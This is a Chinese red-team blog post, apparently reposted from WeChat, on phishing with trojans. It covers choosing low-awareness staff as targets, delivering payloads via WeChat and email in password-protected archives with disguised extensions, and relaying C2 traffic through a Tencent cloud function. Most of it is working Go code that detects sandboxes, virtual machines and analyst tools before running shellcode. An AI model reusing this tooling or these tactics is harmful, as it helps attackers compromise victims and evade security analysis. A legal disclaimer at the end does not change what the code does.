钓鱼对象
1、hr、经理、财务 等安全意识薄弱的人，避开信息安全部
如何搜集邮箱信息？
https://app.snov.io/
但一般来说，企业邮箱都存在邮服网关，邮件很难投递，所以我们要选择一些针对公开群众的邮箱
比如说 xxx 举报，xxx 信息反馈面对大众的邮箱，如何搜集呢
钓鱼手法
1、群发（不推荐，易被发现或被邮服拦截）
2、添加微信发送钓鱼木马（话术获取信任）
3、扫码活动钓账号
邮件投递木马
1、木马需要打压缩，添加密码并隐藏内容，防止直接在压缩包内打开
2、后缀可选择其他非 exe 仍可执行的，如 scr、com 等
3、如果知道对方杀软没有 360 这种，可通过空格和长文件命名
免杀及捆绑文件
自写工具介绍
杀软特性
云函数
新建一个云函数，在代码位置进行修改
首先导入 yisiwei.zip 的云函数包
# -*- coding: utf8 -*-import json, requests, base64def main_handler(event, context):C2 = 'https://x.x.x.x' # 这里可以使用 HTTP、HTTPS~下角标~path = event['path']headers = event['headers']print(event)if event['httpMethod'] == 'GET':resp = requests.get(C2 + path, headers=headers, verify=False)else:resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)print(resp.headers)print(resp.content)response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),"body": str(base64.b64encode(resp.content))[2:-1]}return response
记得部署
创建触发器，选择新建的模板和 API 网关触发方式
service-cv4vqio3-1307700818.sh.apigw.tencentcs.com
监听器配置
反沙箱
出口 ip
func san() {url := "https://myip.ipip.net/"resp, err := http.Get(url)if err != nil {os.Exit(1)}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {os.Exit(1)}content := string(body)if strings.Contains(content, "中国") {} else {os.Exit(1)}}
func See_through() {// 1. 延时运行timeSleep1, _ := timeSleep()// 2. 检测开机时间bootTime1, _ := bootTime()// 3. 检测物理内存physicalMemory1, _ := physicalMemory()level := timeSleep1 + bootTime1 + physicalMemory1//fmt.Println("level:", level)if level < 2 {//fmt.Println("可能是沙箱！")os.Exit(1)}}// 1. 延时运行func timeSleep() (int, error) {startTime := time.Now()time.Sleep(10 * time.Second)endTime := time.Now()sleepTime := endTime.Sub(startTime)if sleepTime >= time.Duration(10*time.Second) {//fmt.Println("睡眠时间为:", sleepTime)return 1, nil} else {return 0, nil}}// 11111// 2. 检测开机时间// 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。func bootTime() (int, error) {var kernel = syscall.NewLazyDLL("Kernel32.dll")GetTickCount := kernel.NewProc("GetTickCount")r, _, _ := GetTickCount.Call()if r == 0 {return 0, nil}ms := time.Duration(r * 1000 * 1000)//fmt.Println("开机时常为:", ms)tm := time.Duration(30 * time.Minute)if ms < tm {return 0, nil} else {return 1, nil}}func physicalMemory() (int, error) {var mod = syscall.NewLazyDLL("kernel32.dll")var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")var mem uint64proc.Call(uintptr(unsafe.Pointer(&mem)))mem = mem / 1048576if mem < 2 {//fmt.Printf("物理内存为%dGn", mem)return 0, nil // 小于4GB返回0}return 1, nil // 大于4GB返回1}func process() {executablePath, err := os.Executable()if err != nil {// 处理错误return}sourceFilename := filepath.Base(executablePath) // 源文件名称processName := filepath.Base(os.Args[0]) // 当前运行进程名称// 比较源文件名称和进程名称是否相同if strings.EqualFold(sourceFilename, processName) {// 进程名称和源文件名称相同，正常运行// 在这里执行正常的操作} else {// 进程名称和源文件名称不同，可能在沙箱环境中运行// 在这里执行相应的防沙箱操作os.Exit(0) // 退出程序}}func desktop() {desktopPath, err := os.UserHomeDir()if err != nil {fmt.Println("无法获取用户桌面路径：", err)return}desktopFiles, err := ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))if err != nil {fmt.Println("无法读取用户桌面文件列表：", err)return}fileCount := len(desktopFiles)fmt.Println("用户桌面文件数：", fileCount)if fileCount < 10 {os.Exit(0)}// 在这里编写你的其他代码逻辑}func ShowConsoleAsync(commandShow uintptr) {console := w32.GetConsoleWindow()if console != 0 {_, consoleProcID := w32.GetWindowThreadProcessId(console)if w32.GetCurrentProcessId() == consoleProcID {w32.ShowWindowAsync(console, commandShow)}}}ShowConsoleAsync(w32.SW_HIDE)desktop()process()See_through()
鼠标检测
package mainimport ("fmt""time""github.com/go-vgo/robotgo")func main() {// 创建一个通道用于接收鼠标事件eventChan := make(chan bool)// 启动一个goroutine来监听鼠标事件go func() {// 获取鼠标的当前位置prevX, prevY := robotgo.GetMousePos()// 持续监听鼠标移动和点击事件for {// 获取当前鼠标位置x, y := robotgo.GetMousePos()print(x, y)// 检测鼠标是否移动if x != prevX || y != prevY {// 如果有移动事件，发送1到通道eventChan <- truereturn}// 100毫秒检查一次time.Sleep(100 * time.Millisecond)}}()// 启动一个计时器等待10秒timer := time.NewTimer(10 * time.Second)// 等待鼠标事件或者10秒超时select {case <-eventChan:fmt.Println("nn1")case <-timer.C:fmt.Println("0")}}
判断桌面文件
package mainimport ("fmt""os""path/filepath")func countFilesInDir(dirPath string) (int, error) {fileCount := 0err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {if err != nil {return err}if !info.IsDir() {fileCount++}return nil})return fileCount, err}func desktop() {desktopPath, err := os.UserHomeDir()if err != nil {fmt.Println("无法获取用户桌面路径：", err)return}desktopPath = filepath.Join(desktopPath, "Desktop")fileCount, err := countFilesInDir(desktopPath)if err != nil {fmt.Println("无法读取用户桌面文件列表：", err)return}fmt.Println("用户桌面文件数：", fileCount)if fileCount < 7 {os.Exit(0)}// 在这里编写你的其他代码逻辑}func main() {desktop()}import ("fmt""os""io/ioutil""path/filepath")func desktop() {desktopPath, err := os.UserHomeDir()if err != nil {fmt.Println("无法获取用户桌面路径：", err)return}desktopFiles, err := ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))if err != nil {fmt.Println("无法读取用户桌面文件列表：", err)return}fileCount := len(desktopFiles)fmt.Println("用户桌面文件数：", fileCount)if fileCount < 7 {os.Exit(0)}// 在这里编写你的其他代码逻辑}
校验时区
func shiqu() {// 加载北京时区loc, err := time.LoadLocation("Asia/Shanghai")if err != nil {return}// 获取当前时间now := time.Now()// 判断当前时区是否为北京时区if now.Location() != loc {return}}
校验进程名称
func process() {executablePath, err := os.Executable()if err != nil {return}sourceFilename := filepath.Base(executablePath) // 源文件名称processName := filepath.Base(os.Args[0]) // 当前运行进程名称if strings.EqualFold(sourceFilename, processName) {} else {os.Exit(0) // 退出程序}}
判断微信是否存在
func CheckWeChatExist() {k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARETencentbugReportWechatWindows`, registry.QUERY_VALUE)if err != nil {os.Exit(0)}defer k.Close()s, _, err := k.GetStringValue("InstallDir")if err != nil || s == "" {os.Exit(0)}// 在这里添加需要执行的代码}
判断是否为沙箱常见用户和计算机名
func NoBlockComputerName() {known := []string{"REVTS1RPUC1IOVVSQjdU",/* "N1NJTFZJQQ==","SEFOU1BFVEVSLVBD","Sk9ITi1QQw==","TVVFTExFUi1QQw==","V0lONy1UUkFQUw==","Rk9SVElORVQ=","VEVRVUlMQUJPT01CT09N","VkJDQ1NDLVBD","REVTS1RPUC1TVk9OWFlE","V0lOLTJIQlhTUktXQ1JZ","V0lOLTJIQlhTUktXQ1JZ","V0lOLUlWRTk5SlRURVE2","V0lOLUhIUU1RRENCVDdF","MENDNDdBQzgzODAz","QU1BWklORy1BVk9DQURP","cmJtaHV3dmNpbmc=","U1RBQ0FTODQ=","U0RKLUZGRDBGRUIwNURD", */}name, _ := os.Hostname()for _, v := range known {if base64.URLEncoding.EncodeToString([]byte(v)) == name {os.Exit(0)}}}func NoBlockUserProcess() {known := []string{"QWJieQ==","YXp1cmU=","Z2Vvcmdl","ZmlsZW1vbi5leGU=","cHJvY21vbi5leGU=","cmVnbW9uLmV4ZQ==","cHJvY2V4cC5leGU=","aWRhcS5leGU=","aWRhcTY0LmV4ZQ==","SW1tdW5pdHlEZWJ1Z2dlci5leGU=","V2lyZXNoYXJrLmV4ZQ==","ZHVtcGNhcC5leGU=","SG9va0V4cGxvcmVyLmV4ZQ==","SW1wb3J0UkVDLmV4ZQ==","UEVUb29scy5leGU=","TG9yZFBFLmV4ZQ==","U3lzSW5zcGVjdG9yLmV4ZQ==","cHJvY19hbmFseXplci5leGU=","c3lzQW5hbHl6ZXIuZXhl","c25pZmZfaGl0LmV4ZQ==","d2luZGJnLmV4ZQ==","am9lYm94Y29udHJvbC5leGU=","am9lYm94c2VydmVyLmV4ZQ==","am9lYm94c2VydmVyLmV4ZQ==","UmVzb3VyY2VIYWNrZXIuZXhl","eDMyZGJnLmV4ZQ==","eDY0ZGJnLmV4ZQ==","RmlkZGxlci5leGU=","aHR0cGRlYnVnZ2VyLmV4ZQ==", */}u, _ := user.Current()username := u.Usernamefor _, v := range known {decoded, _ := base64.URLEncoding.DecodeString(v)decodedString := string(decoded)if strings.EqualFold(decodedString, username) {os.Exit(0)}}}
func See_through() {// 1. 延时运行timeSleep1, _ := timeSleep()// 2. 检测开机时间bootTime1, _ := bootTime()// 3. 检测物理内存physicalMemory1, _ := physicalMemory()level := timeSleep1 + bootTime1 + physicalMemory1//fmt.Println("level:", level)if level < 2 {//fmt.Println("可能是沙箱！")os.Exit(1)}}// 1. 延时运行func timeSleep() (int, error) {startTime := time.Now()time.Sleep(10 * time.Second)endTime := time.Now()sleepTime := endTime.Sub(startTime)if sleepTime >= time.Duration(10*time.Second) {//fmt.Println("睡眠时间为:", sleepTime)return 1, nil} else {return 0, nil}}// 2. 检测开机时间// 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。func bootTime() (int, error) {var kernel = syscall.NewLazyDLL("Kernel32.dll")GetTickCount := kernel.NewProc("GetTickCount")r, _, _ := GetTickCount.Call()if r == 0 {return 0, nil}ms := time.Duration(r * 1000 * 1000)//fmt.Println("开机时常为:", ms)tm := time.Duration(30 * time.Minute)if ms < tm {return 0, nil} else {return 1, nil}}func physicalMemory() (int, error) {var mod = syscall.NewLazyDLL("kernel32.dll")var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")var mem uint64proc.Call(uintptr(unsafe.Pointer(&mem)))mem = mem / 1048576if mem < 4 {//fmt.Printf("物理内存为%dGn", mem)return 0, nil // 小于4GB返回0}return 1, nil // 大于4GB返回1}
虚拟机特征判断
func PathExists(path string) (bool, error) { //判断文件是否存在_, err := os.Stat(path)if err == nil {return true, nil}if os.IsNotExist(err) {return false, nil}return false, err}func fack(path string) { //判断虚拟机关键文件是否存在b, _ := PathExists(path)if b {fmt.Printf("当前是虚拟机环境，别分析了，哥。")os.Exit(1) //如果是虚拟机就退出当前进程}}func check() {fack("C:\windows\System32\Drivers\Vmmouse.sys")fack("C:\windows\System32\Drivers\vmtray.dll")fack("C:\windows\System32\Drivers\VMToolsHook.dll")fack("C:\windows\System32\Drivers\vmmousever.dll")fack("C:\windows\System32\Drivers\vmhgfs.dll")fack("C:\windows\System32\Drivers\vmGuestLib.dll")fack("C:\windows\System32\Drivers\VBoxMouse.sys")fack("C:\windows\System32\Drivers\VBoxGuest.sys")fack("C:\windows\System32\Drivers\VBoxSF.sys")fack("C:\windows\System32\Drivers\VBoxVideo.sys")fack("C:\windows\System32\vboxdisp.dll")fack("C:\windows\System32\vboxhook.dll")fack("C:\windows\System32\vboxoglerrorspu.dll")fack("C:\windows\System32\vboxoglpassthroughspu.dll")fack("C:\windows\System32\vboxservice.exe")fack("C:\windows\System32\vboxtray.exe")fack("C:\windows\System32\VBoxControl.exe")}func main() {a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言if a[0] != "zh-CN" {fmt.Printf("当前不是中文系统")os.Exit(1) //网上的沙盒等系统都是英文界面，我们可以利用这个进行判断} else {check() //先进行判断系统语言，然后再进行判断虚拟机关键文件是否存在//这边检测完了，就可以执行你想执行的代码了，如shellcode}}
- end -
文章作者: Hyyrent来源：Hyyrent blog
原文始发于微信公众号（乌雲安全）：红队技术 | 社工钓鱼细节技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论